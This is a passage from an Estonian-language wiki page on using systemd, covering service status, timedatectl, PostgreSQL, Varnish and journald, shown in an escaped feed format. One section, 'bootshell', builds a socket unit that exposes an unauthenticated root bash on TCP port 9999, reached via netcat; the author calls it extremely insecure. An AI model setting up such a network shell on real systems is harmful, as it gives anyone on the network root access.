MPTCPv6   2128      1     949   no       0   yes  kernel      y  y  y  n  y  y  y  y  y  y  y  y  n  n  y  y  y  n&lt;br /&gt;
PINGv6    1408      0      -1   NI       0   yes  kernel      y  y  y  n  n  y  n  n  y  y  y  y  y  y  n  y  y  n&lt;br /&gt;
RAWv6     1408      0      -1   NI       0   yes  kernel      y  y  y  n  y  y  y  n  y  y  y  y  y  y  y  y  n  n&lt;br /&gt;
UDPLITEv6 1472      0       0   NI       0   yes  kernel      y  y  y  n  y  y  y  n  y  y  y  y  n  n  y  y  y  n&lt;br /&gt;
UDPv6     1472      2       0   NI       0   yes  kernel      y  y  y  n  y  y  y  n  y  y  y  y  n  n  y  y  y  n&lt;br /&gt;
TCPv6     2560      9     949   no     320   yes  kernel      y  y  y  y  y  y  y  y  y  y  y  y  n  y  y  y  y  y&lt;br /&gt;
XDP       1024      0      -1   NI       0   no   kernel      n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n&lt;br /&gt;
UNIX-STREAM 1152    628      -1   NI       0   yes  kernel      y  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n&lt;br /&gt;
UNIX      1152     65      -1   NI       0   yes  kernel      y  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n&lt;br /&gt;
UDP-Lite  1344      0       0   NI       0   yes  kernel      y  y  y  n  y  y  y  n  y  y  y  y  n  n  y  y  y  n&lt;br /&gt;
MPTCP     2000      0     949   no       0   yes  kernel      y  y  y  n  y  y  y  y  y  y  y  y  n  n  y  y  y  n&lt;br /&gt;
PING      1056      0      -1   NI       0   yes  kernel      y  y  y  n  n  y  n  n  y  y  y  y  y  y  n  y  y  n&lt;br /&gt;
RAW       1216      0      -1   NI       0   yes  kernel      y  y  y  n  y  y  y  n  y  y  y  y  y  y  y  y  n  n&lt;br /&gt;
UDP       1344      3       0   NI       0   yes  kernel      y  y  y  n  y  y  y  n  y  y  y  y  n  n  y  y  y  n&lt;br /&gt;
TCP       2432     23     949   no     320   yes  kernel      y  y  y  y  y  y  y  y  y  y  y  y  n  y  y  y  y  y&lt;br /&gt;
MCTP       872      0      -1   NI       0   no   kernel      y  n  n  n  n  y  n  n  n  n  n  n  n  n  y  y  n  n&lt;br /&gt;
NETLINK   1120     77      -1   NI       0   no   kernel      n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n  n&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://github.com/V4bel/dirtyfrag&lt;br /&gt;
&lt;br /&gt;
===bootshell===&lt;br /&gt;
&lt;br /&gt;
Osutub, et systemd pid=1 protsess on selles mõttes unikaalne, et on võimalik käimasolevale protsessile seadistada juurde porte, millel ta teenindab. Näide avab üle võrgu shell kasutamise võimalus, arusaadavalt on see äärmiselt ebaturvaline praktiliselt kasutamiseks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# cat /etc/systemd/system/bootshell.socket&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=Neutral Side-Channel Boot Shell Socket&lt;br /&gt;
&lt;br /&gt;
[Socket]&lt;br /&gt;
ListenStream=9999&lt;br /&gt;
Accept=yes&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
WantedBy=sockets.target&lt;br /&gt;
&lt;br /&gt;
root@zabbix-pub-01:~# cat /etc/systemd/system/bootshell@.service&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=Neutral Side-Channel Boot Shell Service&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
ExecStart=-/bin/bash -i&lt;br /&gt;
StandardInput=socket&lt;br /&gt;
StandardOutput=socket&lt;br /&gt;
StandardError=socket&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Aktiveerimine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# systemctl daemon-reload&lt;br /&gt;
root@zabbix-pub-01:~# systemctl enable --now bootshell.socket&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# netstat -lnpt | grep 9999&lt;br /&gt;
tcp6       0      0 :::9999                 :::*                    LISTEN      1/init&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasutamiseks tuleb üle võrgu tekitada tcp ühendus, nt netcat programmiga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
imreoolberg@Imres-MacBook-Air ~ % nc 192.168.10.193 9999&lt;br /&gt;
bash: cannot set terminal process group (-1): Inappropriate ioctl for device&lt;br /&gt;
bash: no job control in this shell&lt;br /&gt;
root@zabbix-pub-01:/# hostname -f&lt;br /&gt;
hostname -f&lt;br /&gt;
zabbix-pub-01&lt;br /&gt;
root@zabbix-pub-01:/# exit&lt;br /&gt;
exit&lt;br /&gt;
exit&lt;br /&gt;
imreoolberg@Imres-MacBook-Air ~ %&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===systemd-coredump===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://oneuptime.com/blog/post/2026-03-02-how-to-use-systemd-coredump-for-crash-analysis-on-ubuntu/view&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* [[:Systemd-nspawn kasutamine operatsioonisüsteemiga Debian]]&lt;br /&gt;
* http://en.wikipedia.org/wiki/Systemd&lt;br /&gt;
* http://blog.exppad.com/article/a-docker-like-container-management-using-systemd&lt;br /&gt;
* http://0pointer.net/blog/projects/systemd-for-admins-1.html&lt;br /&gt;
* http://zero-knowledge.org/post/92&lt;br /&gt;
* http://0pointer.de/public/systemd-ebook-psankar.pdf&lt;br /&gt;
* http://ktaraghi.blogspot.com/2013/11/what-is-systemd-and-how-it-works-part-1.html&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Systemd_kasutamine&amp;diff=4249</id>
		<title>Systemd kasutamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Systemd_kasutamine&amp;diff=4249"/>
		<updated>2026-06-20T14:06:11Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* systemd-coredump */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
systemd http://freedesktop.org/wiki/Software/systemd/ ...&lt;br /&gt;
&lt;br /&gt;
Tundub, et 2014 aasta lõpus on Debian v. 8 Jessie koosseisus vaikimisi systemd&lt;br /&gt;
&lt;br /&gt;
 # ls -ld /sbin/init &lt;br /&gt;
 lrwxrwxrwx 1 root root 20 Sep 28 22:33 /sbin/init -&amp;gt; /lib/systemd/systemd&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
* Turvalisus ja tegevuste isoleerimine failisüsteemi ja võrgu tasemel, http://0pointer.de/blog/projects/security.html&lt;br /&gt;
* SysV käivitusskripti on imperatiivsed, st shell skriptid praktiliselt, systemd nö käivitusskriptid on deklaratiivsed, st nn .ini failidele sarnase sisuga&lt;br /&gt;
&lt;br /&gt;
===Paigaldamine===&lt;br /&gt;
&lt;br /&gt;
Tundub, et minimaalsele keskkonnale (nt debootstrap abil moodustatud) tuleb juurde lisada dbus ja polkit tugi, vastasel korral nt systemd-cgls programm ei tööta)&lt;br /&gt;
&lt;br /&gt;
 # apt-get install dbus libpolkit-agent-1-0&lt;br /&gt;
&lt;br /&gt;
===Kasutamine===&lt;br /&gt;
&lt;br /&gt;
Teenuse oleku küsimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl status ssh.service&lt;br /&gt;
 ● ssh.service - OpenBSD Secure Shell server&lt;br /&gt;
    Loaded: loaded (/lib/systemd/system/ssh.service; enabled)&lt;br /&gt;
    Active: active (running) since Tue 2014-11-04 02:43:10 EET; 18h ago&lt;br /&gt;
  Main PID: 1956 (sshd)&lt;br /&gt;
    CGroup: /system.slice/ssh.service&lt;br /&gt;
            └─1956 /usr/sbin/sshd -D&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
 # cat /lib/systemd/system/ssh.service &lt;br /&gt;
 [Unit]&lt;br /&gt;
 Description=OpenBSD Secure Shell server&lt;br /&gt;
 After=network.target auditd.service&lt;br /&gt;
 ConditionPathExists=!/etc/ssh/sshd_not_to_be_run&lt;br /&gt;
 &lt;br /&gt;
 [Service]&lt;br /&gt;
 EnvironmentFile=-/etc/default/ssh&lt;br /&gt;
 ExecStart=/usr/sbin/sshd -D $SSHD_OPTS&lt;br /&gt;
 ExecReload=/bin/kill -HUP $MAINPID&lt;br /&gt;
 KillMode=process&lt;br /&gt;
 Restart=on-failure&lt;br /&gt;
 &lt;br /&gt;
 [Install]&lt;br /&gt;
 WantedBy=multi-user.target&lt;br /&gt;
 Alias=sshd.service&lt;br /&gt;
&lt;br /&gt;
Teenuste nimekirja esitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl  list-units --type=service | head -n 5&lt;br /&gt;
   UNIT                                 LOAD   ACTIVE SUB     DESCRIPTION&lt;br /&gt;
   accounts-daemon.service              loaded active running Accounts Service&lt;br /&gt;
   acpid.service                        loaded active exited  LSB: Start the Advanced Configuration and Power Interface daemon&lt;br /&gt;
   amavis-mc.service                    loaded active exited  LSB: Startup script for amavis master supervisor&lt;br /&gt;
   amavis.service                       loaded active running LSB: Starts amavisd-new mailfilter&lt;br /&gt;
&lt;br /&gt;
Tundub, et teenus saab olla mitmes olekus, üks variant teenuseid on sellised, mis arvuti käivitamisel nö korraks töötavad midagi sisse lülitades ja siis teevad exit, nt&lt;br /&gt;
&lt;br /&gt;
 # systemctl list-units --type=service --state=exited&lt;br /&gt;
 UNIT                             LOAD   ACTIVE SUB    DESCRIPTION&lt;br /&gt;
 getty-static.service             loaded active exited getty on tty2-tty6 if dbus and logind are not available&lt;br /&gt;
 kbd.service                      loaded active exited LSB: Prepare console&lt;br /&gt;
 keymap.service                   loaded active exited LSB: Set keymap&lt;br /&gt;
 modules_dep.service              loaded active exited LSB: modules.dep creation.&lt;br /&gt;
 netfilter-persistent.service     loaded active exited netfilter persistent configuration&lt;br /&gt;
 networking.service               loaded active exited LSB: Raise network interfaces.&lt;br /&gt;
 quota.service                    loaded active exited Check And Enable File System Quotas&lt;br /&gt;
 rc-local.service                 loaded active exited /etc/rc.local Compatibility&lt;br /&gt;
 systemd-random-seed.service      loaded active exited Load/Save Random Seed&lt;br /&gt;
&lt;br /&gt;
===systemd-timedated===&lt;br /&gt;
&lt;br /&gt;
Tööpõhimõte&lt;br /&gt;
&lt;br /&gt;
* systemd-timedated on dispetšer, mis vahendab seadistuse utiliiti timedatectl konkreetsete ntp serveritega (nt chrony, systemd-timesyncd)&lt;br /&gt;
* systemd-timedated ei tööta pidavalt, ta käivitub dbus juhtimisel&lt;br /&gt;
&lt;br /&gt;
timedatectl programmiga saab seadistada ajavööndit jms&lt;br /&gt;
&lt;br /&gt;
 # timedatectl list-timezones&lt;br /&gt;
 # timedatectl set-timezone Europe/Tallinn&lt;br /&gt;
&lt;br /&gt;
systemd-timesyncd või chrony on ntp klient deemon, mis tuleb kasutamiseks sisse lülitada&lt;br /&gt;
&lt;br /&gt;
 # timedatectl set-ntp true&lt;br /&gt;
&lt;br /&gt;
Tundub, et samaväärne on öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl enable systemd-timesyncd&lt;br /&gt;
 # systemctl start systemd-timesyncd&lt;br /&gt;
&lt;br /&gt;
või 'systemctl enable|disable chrony', aga ehk on õigem opereerida timedatectl abil&lt;br /&gt;
&lt;br /&gt;
Töötamissel annab timedatactl saranase vastuse&lt;br /&gt;
&lt;br /&gt;
 # timedatectl status&lt;br /&gt;
       Local time: Fri 2015-07-31 01:21:26 EEST&lt;br /&gt;
   Universal time: Thu 2015-07-30 22:21:26 UTC&lt;br /&gt;
         RTC time: Thu 2015-07-30 22:21:26&lt;br /&gt;
        Time zone: Europe/Tallinn (EEST, +0300)&lt;br /&gt;
      NTP enabled: yes&lt;br /&gt;
 NTP synchronized: no&lt;br /&gt;
  RTC in local TZ: no&lt;br /&gt;
       DST active: yes&lt;br /&gt;
  Last DST change: DST began at&lt;br /&gt;
                   Sun 2015-03-29 02:59:59 EET&lt;br /&gt;
                   Sun 2015-03-29 04:00:00 EEST&lt;br /&gt;
  Next DST change: DST ends (the clock jumps one hour backwards) at&lt;br /&gt;
                   Sun 2015-10-25 03:59:59 EEST&lt;br /&gt;
                   Sun 2015-10-25 03:00:00 EET&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* valitud ajavööndi Daylight Saving Time algus ja lõpp&lt;br /&gt;
* kas NTP teenust töötab (systemd-timesyncd)&lt;br /&gt;
&lt;br /&gt;
Spetsiifilise NTP serveri kasutamiseks sobib näidata ta seadistusfailis /etc/systemd/timesyncd.conf&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/systemd/timesyncd.conf&lt;br /&gt;
 [Time]&lt;br /&gt;
 Servers=10.192.0.53&lt;br /&gt;
&lt;br /&gt;
ja muudatuse kehtestamiseks öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl restart systemd-timesyncd&lt;br /&gt;
&lt;br /&gt;
Tulemusena&lt;br /&gt;
&lt;br /&gt;
 # systemctl status systemd-timesyncd&lt;br /&gt;
 ● systemd-timesyncd.service - Network Time Synchronization&lt;br /&gt;
    Loaded: loaded (/lib/systemd/system/systemd-timesyncd.service; enabled)&lt;br /&gt;
    Active: active (running) since Fri 2015-07-31 09:13:18 EEST; 1min 43s ago&lt;br /&gt;
      Docs: man:systemd-timesyncd.service(8)&lt;br /&gt;
  Main PID: 1179 (systemd-timesyn)&lt;br /&gt;
    Status: &amp;quot;Using Time Server 10.192.0.53:123 (10.192.0.53).&amp;quot;&lt;br /&gt;
    CGroup: /system.slice/systemd-timesyncd.service&lt;br /&gt;
            └─1179 /lib/systemd/systemd-timesyncd&lt;br /&gt;
 &lt;br /&gt;
 Jul 31 09:13:17 postkast systemd-timesyncd[1179]: Using NTP server 10.192.0.53:123 (10.192.0.53).&lt;br /&gt;
 Jul 31 09:13:18 postkast systemd-timesyncd[1179]: interval/delta/delay/jitter/drift 32s/+0.621s/0.000s/0.000s/+0ppm&lt;br /&gt;
 Jul 31 09:13:50 postkast systemd-timesyncd[1179]: interval/delta/delay/jitter/drift 64s/+0.000s/0.000s/0.000s/+0ppm&lt;br /&gt;
 Jul 31 09:14:54 postkast systemd-timesyncd[1179]: interval/delta/delay/jitter/drift 128s/-0.000s/0.000s/0.000s/+0ppm&lt;br /&gt;
&lt;br /&gt;
Taustal tegutseb lisaks systemd-timedated deemon, mis on static, st teda kutsutakse automaatselt vajadusel välja, st käivitatakse&lt;br /&gt;
&lt;br /&gt;
 # systemctl status systemd-timedated&lt;br /&gt;
 ● systemd-timedated.service - Time &amp;amp; Date Service&lt;br /&gt;
    Loaded: loaded (/lib/systemd/system/systemd-timedated.service; static)&lt;br /&gt;
    Active: inactive (dead)&lt;br /&gt;
      Docs: man:systemd-timedated.service(8)&lt;br /&gt;
            man:localtime(5)&lt;br /&gt;
            http://www.freedesktop.org/wiki/Software/systemd/timedated&lt;br /&gt;
&lt;br /&gt;
Seos busctl osakonnaga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ns-pg-01:~# busctl | grep time&lt;br /&gt;
org.freedesktop.timedate1        - -               -               (activatable) -                           -       -&lt;br /&gt;
&lt;br /&gt;
root@ns-pg-01:~# timedatectl status&lt;br /&gt;
               Local time: Wed 2026-06-03 01:26:34 EEST&lt;br /&gt;
           Universal time: Tue 2026-06-02 22:26:34 UTC&lt;br /&gt;
                 RTC time: Tue 2026-06-02 22:26:34&lt;br /&gt;
                Time zone: Europe/Tallinn (EEST, +0300)&lt;br /&gt;
System clock synchronized: yes&lt;br /&gt;
              NTP service: active&lt;br /&gt;
          RTC in local TZ: no&lt;br /&gt;
&lt;br /&gt;
root@ns-pg-01:~# busctl | grep time&lt;br /&gt;
:1.34                         2449 systemd-timedat root            :1.34         systemd-timedated.service   -       -&lt;br /&gt;
org.freedesktop.timedate1     2449 systemd-timedat root            :1.34         systemd-timedated.service   -       -&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Rakenduste kasutamine systemd keskkonnas===&lt;br /&gt;
&lt;br /&gt;
====PostgreSQL kasutamine====&lt;br /&gt;
&lt;br /&gt;
Mitme PostgreSQL protsesside komplekti kasutamiseks sobib esmalt järgmise eksemplari osa failisüsteemis ettevalmistada nö tavalisel viisil&lt;br /&gt;
&lt;br /&gt;
 # pg_createcluster 9.4 test&lt;br /&gt;
&lt;br /&gt;
ning käivitada&lt;br /&gt;
&lt;br /&gt;
 # systemctl start postgresql@9.4-test&lt;br /&gt;
&lt;br /&gt;
Mitme PostgreSQL protsesside komplekti kasutamine paistab sedasi&lt;br /&gt;
&lt;br /&gt;
 # ps -U postgres -o pid,user,cgroup:150,args&lt;br /&gt;
   PID USER     CGROUP                                                                           COMMAND&lt;br /&gt;
 10064 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service /usr/lib/postgresql/9.4/bin/postgres -D /va ...&lt;br /&gt;
 10070 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: checkpointer process&lt;br /&gt;
 10072 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: writer process   &lt;br /&gt;
 10074 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: wal writer process   &lt;br /&gt;
 10076 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: autovacuum launcher process   &lt;br /&gt;
 10078 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: stats collector process   &lt;br /&gt;
 &lt;br /&gt;
 10331 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service /usr/lib/postgresql/9.4/bin/postgres -D /var ...&lt;br /&gt;
 10333 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: checkpointer process   &lt;br /&gt;
 10334 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: writer process   &lt;br /&gt;
 10335 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: wal writer process   &lt;br /&gt;
 10336 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: autovacuum launcher process   &lt;br /&gt;
 10337 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: stats collector process &lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* erinevate PostgreSQL protsessi kompilektide protsessid on sama süsteemi kasutaja postgres omad, aga kuuluvad erinevatesse kerneli CGROUP'idesse&lt;br /&gt;
&lt;br /&gt;
Tapmiseks nö -9 signaaliga&lt;br /&gt;
&lt;br /&gt;
 # systemctl kill -s SIGKILL postgresql@9.4-test.service&lt;br /&gt;
&lt;br /&gt;
====Samba====&lt;br /&gt;
&lt;br /&gt;
Teenuste seiskamine&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop smbd&lt;br /&gt;
 # systemctl stop nmbd&lt;br /&gt;
&lt;br /&gt;
kontrolliks&lt;br /&gt;
&lt;br /&gt;
 # ps aux | grep mb&lt;br /&gt;
&lt;br /&gt;
AD kasutamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl start samba-ad-dc&lt;br /&gt;
&lt;br /&gt;
====OpenVPN====&lt;br /&gt;
&lt;br /&gt;
Kui OpenVPN kliendi seadisus asub failis /etc/openvpn/client.conf, siis käivitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl start openvpn@client.service&lt;br /&gt;
&lt;br /&gt;
====Serial konsool====&lt;br /&gt;
&lt;br /&gt;
Serial konsooli käivitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl enable serial-getty@ttyS0.service&lt;br /&gt;
 Created symlink from /etc/systemd/system/getty.target.wants/serial-getty@ttyS0.service \&lt;br /&gt;
   to /lib/systemd/system/serial-getty@.service.&lt;br /&gt;
 &lt;br /&gt;
 # systemctl start serial-getty@ttyS0.service&lt;br /&gt;
&lt;br /&gt;
Tulemusena saab ipmitool, cu, minicom jt programmide abil pöörduda serial konsooli poole.&lt;br /&gt;
&lt;br /&gt;
====NUT====&lt;br /&gt;
&lt;br /&gt;
Tundub, et töötab, nt&lt;br /&gt;
&lt;br /&gt;
 # systemctl status nut-server&lt;br /&gt;
 # systemctl status nut-client&lt;br /&gt;
&lt;br /&gt;
====iptables====&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://www.auul.pri.ee/wiki/Iptables_kasutamine_Debianiga#iptables-persistant&lt;br /&gt;
&lt;br /&gt;
====rsyslog====&lt;br /&gt;
&lt;br /&gt;
Peatamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop syslog.socket rsyslog.service&lt;br /&gt;
&lt;br /&gt;
vastasel korral tuleb sõnum sisse ja rsyslog teenus käivitatakse automaatselt.&lt;br /&gt;
&lt;br /&gt;
====Varnish====&lt;br /&gt;
&lt;br /&gt;
Kuulava pordi muutmine failis&lt;br /&gt;
&lt;br /&gt;
 # grep ^ExecS /lib/systemd/system/varnish.service &lt;br /&gt;
 ExecStart=/usr/sbin/varnishd -j unix,user=vcache -F -a :80 -T localhost:6082 -f /etc/varnish/default.vcl -S /etc/varnish/secret -s malloc,256m&lt;br /&gt;
&lt;br /&gt;
Logimisel X-Forwarded-For kasutamiseks&lt;br /&gt;
&lt;br /&gt;
 # grep ^ExecS /lib/systemd/system/varnishncsa.service &lt;br /&gt;
 ExecStart=/usr/bin/varnishncsa -F '%%{X-Forwarded-For}i %%l %%u %%t \&amp;quot;%%r\&amp;quot; %%s %%b \&amp;quot;%%{Referer}i\&amp;quot; \&amp;quot;%%{User-agent}i\&amp;quot;' -a -w /var/log/varnish/varnishncsa.log&lt;br /&gt;
&lt;br /&gt;
Muudatuste kehtestamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl daemon-reload&lt;br /&gt;
 # /etc/init.d/varnishncsa restart&lt;br /&gt;
 # /etc/init.d/varnish restart&lt;br /&gt;
&lt;br /&gt;
Logis on näha X-Forwarded-For päisest tulnud aadress ning tcp ühenduse teise otspunkti aadress&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# tail -f /var/log/varnish/varnishncsa.log&lt;br /&gt;
10.204.62.115, 10.184.39.42 - - [02/Oct/2017:17:20:24 +0300] &amp;quot;GET http://www.moraal.ee/ HTTP/1.1&amp;quot; 200 612 &amp;quot;-&amp;quot; &amp;quot;Wget/1.17.1 (linux-gnu)&amp;quot;&lt;br /&gt;
10.204.62.115, 10.184.39.42 - - [02/Oct/2017:17:20:24 +0300] &amp;quot;GET http://www.moraal.ee/ HTTP/1.1&amp;quot; 200 612 &amp;quot;-&amp;quot; &amp;quot;Wget/1.17.1 (linux-gnu)&amp;quot;&lt;br /&gt;
10.204.62.115, 10.184.39.42 - - [02/Oct/2017:17:20:24 +0300] &amp;quot;GET http://www.moraal.ee/ HTTP/1.1&amp;quot; 200 612 &amp;quot;-&amp;quot; &amp;quot;Wget/1.17.1 (linux-gnu)&amp;quot;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Logimine===&lt;br /&gt;
&lt;br /&gt;
Systemd sisaldab logimise komponenti journald. &lt;br /&gt;
&lt;br /&gt;
====Süsteemi alglaadimine====&lt;br /&gt;
&lt;br /&gt;
Logimise haldusutiliit näitab vaikimisi kogu kogutud logi alates viimasest alglaadimisest, vanemad sissekanded eespool&lt;br /&gt;
&lt;br /&gt;
 # journalctl&lt;br /&gt;
 -- Logs begin at Mon 2015-07-27 23:03:45 EEST, end at Tue 2015-07-28 08:41:14 EEST. --&lt;br /&gt;
 Jul 27 23:03:45 systemd systemd-journal[171]: Runtime journal is using 4.0M (max allowed 9.3M, trying to leave 14.0M free of 89.7M available → current limit 9.3M).&lt;br /&gt;
 Jul 27 23:03:45 systemd systemd-journal[171]: Runtime journal is using 4.0M (max allowed 9.3M, trying to leave 14.0M free of 89.7M available → current limit 9.3M).&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Initializing cgroup subsys cpuset&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Initializing cgroup subsys cpu&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Initializing cgroup subsys cpuacct&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Linux version 4.0.0-2-amd64 (debian-kernel@lists.debian.org) (gcc version 4.9.3 (Debian 4.9.3-2) ) #1 SMP Debian 4.0.8-2 (2015-07-22)&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Command line: BOOT_IMAGE=/vmlinuz-4.0.0-2-amd64 root=/dev/mapper/systemd-root ro console=ttyS0,9600&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
journald töötamisest annab tunnistust protsess&lt;br /&gt;
&lt;br /&gt;
 # ps aux | grep journald&lt;br /&gt;
 ..&lt;br /&gt;
 root        172  0.1  1.0  35112  5208 ?        Ss   08:55   0:00 /lib/systemd/systemd-journald&lt;br /&gt;
&lt;br /&gt;
====Märkused====&lt;br /&gt;
&lt;br /&gt;
Tundub, et vahel võib The Journal seisma jääda (nt saab failisüsteem täis vms), see paistab sedasi ja midagi ei logita (nt logger protsessiga)&lt;br /&gt;
&lt;br /&gt;
 Mar 28 03:37:01 keskus systemd-journal[29787]: Journal stopped&lt;br /&gt;
 -- Subject: The Journal has been stopped&lt;br /&gt;
 -- Defined-By: systemd&lt;br /&gt;
 -- Support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel&lt;br /&gt;
&lt;br /&gt;
Käivitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl start systemd-journald&lt;br /&gt;
&lt;br /&gt;
 # journalctl -xn&lt;br /&gt;
 ...&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Starting Session 81008 of user root.&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Started Session 81008 of user root.&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Starting Journal Socket (/dev/log).&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Listening on Journal Socket (/dev/log).&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Starting Journal Socket.&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Listening on Journal Socket.&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Starting Journal Service...&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Started Journal Service.&lt;br /&gt;
 May 19 02:36:01 keskus systemd-journal[32447]: Journal started&lt;br /&gt;
 -- Subject: The Journal has been started&lt;br /&gt;
 -- Defined-By: systemd&lt;br /&gt;
 -- Support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel&lt;br /&gt;
 --&lt;br /&gt;
 -- The system journal process has been starting up, opened the journal&lt;br /&gt;
 -- files for writing and is now ready to process requests.&lt;br /&gt;
&lt;br /&gt;
====Apache veebiserver====&lt;br /&gt;
&lt;br /&gt;
Kui Apache seadistusfailis on viga, siis see paistab journald juurest välja selline&lt;br /&gt;
&lt;br /&gt;
 # journalctl -u apache2&lt;br /&gt;
 ..&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: Starting LSB: Apache2 web server...&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: Starting web server: apache2 failed!&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: The apache2 configtest failed. ... (warning).&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: Output of config test was:&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: AH00526: Syntax error on line 1 of /etc/apache2/sites-enabled/000-default.conf:&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: &amp;lt;VirtualHost&amp;gt; directive missing closing '&amp;gt;'&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: Action 'configtest' failed.&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: The Apache error log may have more information.&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: apache2.service: Control process exited, code=exited status=1&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: Failed to start LSB: Apache2 web server.&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: apache2.service: Unit entered failed state.&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: apache2.service: Failed with result 'exit-code'.&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* journald tegeleb apache2 protsessidega seotud nö süsteemse logiga, mitte http päringute logimisega&lt;br /&gt;
&lt;br /&gt;
